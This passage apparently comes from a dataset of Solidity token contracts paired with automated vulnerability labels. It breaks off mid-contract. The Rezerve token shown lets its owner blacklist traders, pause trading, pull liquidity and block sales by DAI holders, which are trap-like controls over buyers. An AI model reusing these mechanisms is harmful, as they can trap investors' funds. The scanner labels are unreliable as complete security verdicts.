teamAddress.transfer(msg.value);
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'NZ' 'New Zone' token contract
//
// Symbol : NZ
// Name : New Zone
// Total supply: 5,000,000,000.000000000000
// Decimals : 12
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial NZ supply
// ----------------------------------------------------------------------------
contract NZToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function NZToken() public {
symbol = "NZ";
name = "New Zone";
decimals = 12;
_totalSupply = 5000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface RezerveExchange {
function exchangeReserve ( uint256 _amount ) external;
function flush() external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable( msg.sender );
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require( block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
_previousOwner = address(0);
}
}
contract Rezerve is Context, IERC20, Ownable {
using Address for address;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private balances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _totalSupply = 21000000 * 10**9;
uint256 private _tFeeTotal;
string private constant _name = "Rezerve";
string private constant _symbol = "RZRV";
uint8 private constant _decimals = 9;
uint256 public _taxFeeOnSale = 0;
uint256 private _previousSellFee = _taxFeeOnSale;
uint256 public _taxFeeOnBuy = 10;
uint256 private _previousBuyFee = _taxFeeOnBuy;
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
uint256 public stakingSlice = 20;
bool public saleTax = true;
mapping (address => uint256) public lastTrade;
mapping (address => uint256) public lastBlock;
mapping (address => bool) public blacklist;
mapping (address => bool) public whitelist;
mapping (address => bool) public rezerveEcosystem;
address public reserveStaking;
address payable public reserveVault;
address public reserveExchange;
address public ReserveStakingReceiver;
address public DAI;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2RouterAddress;
address public immutable uniswapV2Pair;
uint8 public action;
bool public daiShield;
bool public AutoSwap = false;
uint8 public lpPullPercentage = 70;
bool public pauseContract = true;
bool public stakingTax = true;
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 21000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 21000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
// ========== Modifiers ========== //
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
//DAI = 0x9A702Da2aCeA529dE15f75b69d69e0E94bEFB73B;
// DAI = 0x6980FF5a3BF5E429F520746EFA697525e8EaFB5C; // @audit - make sure this address is correct
//uniswapV2RouterAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
balances[msg.sender] = _totalSupply;
DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // testnet DAI
uniswapV2RouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // @audit - make sure this address is correct
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniswapV2RouterAddress);
// Create a uniswap pair for this new token
address pairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), DAI );
uniswapV2Pair = pairAddress;
// UNCOMMENT THESE FOR ETHEREUM MAINNET
//DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
addRezerveEcosystemAddress(owner());
addRezerveEcosystemAddress(address(this));
addToWhitelist(pairAddress);
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[0x397c2dBe7af135eA95561acdd9E558E630410a84] = true; // @audit - make sure this address is correct
daiShield = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
// ========== View Functions ========== //
function thresholdMet () public view returns (bool) {
return reserveBalance() > numTokensSellToAddToLiquidity ;
}
function reserveBalance () public view returns (uint256) {
return balanceOf( address(this) );
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function getLPBalance() public view returns(uint256){
IERC20 _lp = IERC20 ( uniswapV2Pair);
return _lp.balanceOf(address(this));
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function checkDaiOwnership( address _address ) public view returns(bool){
IERC20 _dai = IERC20(DAI);
uint256 _daibalance = _dai.balanceOf(_address );
return ( _daibalance > 0 );
}
// ========== Mutative / Owner Functions ========== //
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount );
_transfer(sender, recipient, amount);
return true;
}
//to receive ETH from uniswapV2Router when swaping
receive() external payable {}
function setReserveExchange( address _address ) public onlyOwner {
require(_address != address(0), "reserveExchange is zero address");
reserveExchange = _address;
excludeFromFee( _address );
addRezerveEcosystemAddress(_address);
}
function contractPauser() public onlyOwner {
pauseContract = !pauseContract;
AutoSwap = !AutoSwap;
_approve(address(this), reserveExchange, ~uint256(0));
_approve(address(this), uniswapV2Pair , ~uint256(0));
_approve(address(this), uniswapV2RouterAddress, ~uint256(0));
IERC20 _dai = IERC20 ( DAI );
_dai.approve( uniswapV2Pair, ~uint256(0) );
_dai.approve( uniswapV2RouterAddress , ~uint256(0) );
_dai.approve( reserveExchange , ~uint256(0) );
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setSellFeePercent(uint256 sellFee) external onlyOwner() {
require ( sellFee < 30 , "Tax too high" );
_taxFeeOnSale = sellFee;
}
function setBuyFeePercent(uint256 buyFee) external onlyOwner() {
require ( buyFee < 11 , "Tax too high" );
_taxFeeOnBuy = buyFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
require ( burnFee < 11 , "Burn too high" );
_burnFee = burnFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = (_totalSupply * maxTxPercent) / 10**6;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setReserveStakingReceiver(address _address) public onlyOwner {
require(_address != address(0), "ReserveStakingReceiver is zero address");
ReserveStakingReceiver = _address;
excludeFromFee( _address );
addRezerveEcosystemAddress(_address);
}
function setReserveStaking ( address _address ) public onlyOwner {
require(_address != address(0), "ReserveStaking is zero address");
reserveStaking = _address;
excludeFromFee( _address );
addRezerveEcosystemAddress(_address);
}
function setMinimumNumber (uint256 _min) public onlyOwner {
numTokensSellToAddToLiquidity = _min * 10** 9;
}
function daiShieldToggle () public onlyOwner {
daiShield = !daiShield;
}
function AutoSwapToggle () public onlyOwner {
AutoSwap = !AutoSwap;
}
function addToBlacklist(address account) public onlyOwner {
whitelist[account] = false;
blacklist[account] = true;
}
function removeFromBlacklist(address account) public onlyOwner {
blacklist[account] = false;
}
// To be used for contracts that should never be blacklisted, but aren't part of the Rezerve ecosystem, such as the Uniswap pair
function addToWhitelist(address account) public onlyOwner {
blacklist[account] = false;
whitelist[account] = true;
}
function removeFromWhitelist(address account) public onlyOwner {
whitelist[account] = false;
}
// To be used if new contracts are added to the Rezerve ecosystem
function addRezerveEcosystemAddress(address account) public onlyOwner {
rezerveEcosystem[account] = true;
addToWhitelist(account);
}
function removeRezerveEcosystemAddress(address account) public onlyOwner {
rezerveEcosystem[account] = false;
}
function toggleStakingTax() public onlyOwner {
stakingTax = !stakingTax;
}
function withdrawLPTokens () public onlyOwner {
IERC20 _uniswapV2Pair = IERC20 ( uniswapV2Pair );
uint256 _lpbalance = _uniswapV2Pair.balanceOf(address(this));
_uniswapV2Pair.transfer( msg.sender, _lpbalance );
}
function setLPPullPercentage ( uint8 _perc ) public onlyOwner {
require ( _perc >9 && _perc <71);
lpPullPercentage = _perc;
}
function addToLP(uint256 tokenAmount, uint256 daiAmount) public onlyOwner {
// approve token transfer to cover all possible scenarios
_transfer ( msg.sender, address(this) , tokenAmount );
_approve(address(this), address(uniswapV2Router), tokenAmount);
IERC20 _dai = IERC20 ( DAI );
_dai.approve( address(uniswapV2Router), daiAmount);
_dai.transferFrom ( msg.sender, address(this) , daiAmount );
// add the liquidity
uniswapV2Router.addLiquidity(
address(this),
DAI,
tokenAmount,
daiAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
contractPauser();
}
function removeLP () public onlyOwner {
saleTax = false;
IERC20 _uniswapV2Pair = IERC20 ( uniswapV2Pair );
uint256 _lpbalance = _uniswapV2Pair.balanceOf(address(this));
uint256 _perc = (_lpbalance * lpPullPercentage ) / 100;
_uniswapV2Pair.approve( address(uniswapV2Router), _perc );
uniswapV2Router.removeLiquidity(
address(this),
DAI,
_perc,
0,
0,
reserveExchange,
block.timestamp + 3 minutes
);
RezerveExchange _reserveexchange = RezerveExchange ( reserveExchange );
_reserveexchange.flush();
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// ========== Private / Internal Functions ========== //
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!blacklist[from]);
if (pauseContract) require (from == address(this) || from == owner());
if (!rezerveEcosystem[from]) {
if(to == uniswapV2Pair && daiShield) require ( !checkDaiOwnership(from) );
if(from == uniswapV2Pair) saleTax = false;
if(to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (!whitelist[from]) {
if (lastBlock[from] == block.number) blacklist[from] = true;
if (lastTrade[from] + 20 seconds > block.timestamp && !blacklist[from]) revert("Slowdown");
lastBlock[from] = block.number;
lastTrade[from] = block.timestamp;
}
}
action = 0;
if(from == uniswapV2Pair) action = 1;
if(to == uniswapV2Pair) action = 2;
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
contractTokenBalance = Math.min(contractTokenBalance, numTokensSellToAddToLiquidity);
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled &&
AutoSwap
) {
swapIt(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
if (!blacklist[from])
_tokenTransfer(from, to, amount, takeFee);
else
_tokenTransfer(from, to, 1, false);
}
function swapIt(uint256 contractTokenBalance) internal lockTheSwap {
uint256 _exchangeshare = contractTokenBalance;
if (stakingTax) {
_exchangeshare = ( _exchangeshare * 4 ) / 5;
uint256 _stakingshare = contractTokenBalance - _exchangeshare;
_tokenTransfer(address(this), ReserveStakingReceiver, _stakingshare, false);
}
swapTokensForDai(_exchangeshare);
}
function swapTokensForDai(uint256 tokenAmount) internal {
// generate the uniswap pair path of token -> DAI
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = DAI;
uniswapV2Router.swapExactTokensForTokens(
tokenAmount,
0, // accept any amount of DAI
path,
reserveExchange,
block.timestamp + 3 minutes
);
}
function setStakingSlice ( uint256 _slice ) public onlyOwner {
stakingSlice = _slice;
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if(!takeFee)
removeAllFee();
( uint256 transferAmount, uint256 sellFee, uint256 buyFee, uint256 burnFee ) = _getTxValues(amount);
_tFeeTotal = _tFeeTotal + sellFee + buyFee + burnFee;
uint256 stakingFee;
if (stakingTax) {
uint256 stakingFeeB = (buyFee * stakingSlice )/100;
